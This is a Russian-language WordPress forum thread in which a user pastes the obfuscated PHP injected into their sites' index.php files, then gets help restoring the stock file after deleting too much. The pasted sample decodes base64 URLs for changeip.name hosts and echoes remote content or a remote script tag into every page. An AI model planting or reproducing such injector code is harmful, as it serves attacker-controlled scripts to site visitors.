[Помогите] Проблема с index.php в ВП

Тема в разделе "Wordpress", создана пользователем Sarpedon, 4 фев 2013.

Статус темы:
Закрыта.
Модераторы: Sorcus
  1. Sarpedon

    Sarpedon

    Регистр.:
    23 фев 2012
    Сообщения:
    321
    Симпатии:
    138
    На сайт залили вирус. Точнее не на один сайт, а на 4, ну да ладно :D Вирус был закодирован, в html выглядел как-то так (если кому интересно) :
    html

    шифровка
    GzipOut ();
    function sql2_safe($in) {
    $rtn = base64_decode($in);
    return $rtn;
    }
    function collectnewss() {
    $get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9zY3JpcHQuaHRtbA==");
    $content = @file_get_contents($get);
    if (!$content)
    echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
    else
    echo $content;
    }
    collectnewss ();
    ?>


    Теперь о проблеме с wp. Вирус размещался в index.php. Сайты на ДЛЕ и ВП. С ДЛЕ всё ок прошло, я радостный взялся с ВП. Зашел в корневой каталог, нарыл там индекс и удалил зловредный код. Только по-моему, вместе с ним я еще что-то захватил или и вовсе его перепутал. Теперь как захожу на сайт, показывает просто белую страницу. На какую бы страницу не зашел - белое полотно. Вопрос: че делать то? Бэкапов я не делал, откатиться не могу. Может кто-то знает, что пишут обычно в index.php на ВП? Там кода немного было. Я удалил почти половину из того что там было. Вот другая половина:
    <?php
    /**
    * Front to the WordPress application. This file doesn't do anything, but loads
    * wp-blog-header.php which does and tells WordPress to load the theme.
    *
    * @package WordPress
    */

    /**
    * Tells WordPress to load the WordPress theme and output it.
    *
    * @var bool
    */
    define('WP_USE_THEMES', true);

    Помогите криворукому, пожалуйста))
     
  2. Doctor_Chaos

    Doctor_Chaos Проктолог-гинеколог

    Moderator
    • Супермодератор
    Регистр.:
    7 сен 2013
    Сообщения:
    950
    Симпатии:
    645
    А из дистрибутива файл религия не позволяет взять?
    PHP:
    <?php
    /**
    * Front to the WordPress application. This file doesn't do anything, but loads
    * wp-blog-header.php which does and tells WordPress to load the theme.
    *
    * @package WordPress
    */
     
    /**
    * Tells WordPress to load the WordPress theme and output it.
    *
    * @var bool
    */
    define('WP_USE_THEMES'true);
     
    /** Loads the WordPress Environment and Template */
    require('./wp-blog-header.php');
     
  3. Sarpedon

    Sarpedon

    Регистр.:
    23 фев 2012
    Сообщения:
    321
    Симпатии:
    138
    незнание того, что такое дистрибутив не позволяет)
    Спасибо, работает.
     
  4. Doctor_Chaos

    Doctor_Chaos Проктолог-гинеколог

    Moderator
    • Супермодератор
    Регистр.:
    7 сен 2013
    Сообщения:
    950
    Симпатии:
    645
    На будущее, дистрибутив - это архив с установочным пакетом.
     
Статус темы:
Закрыта.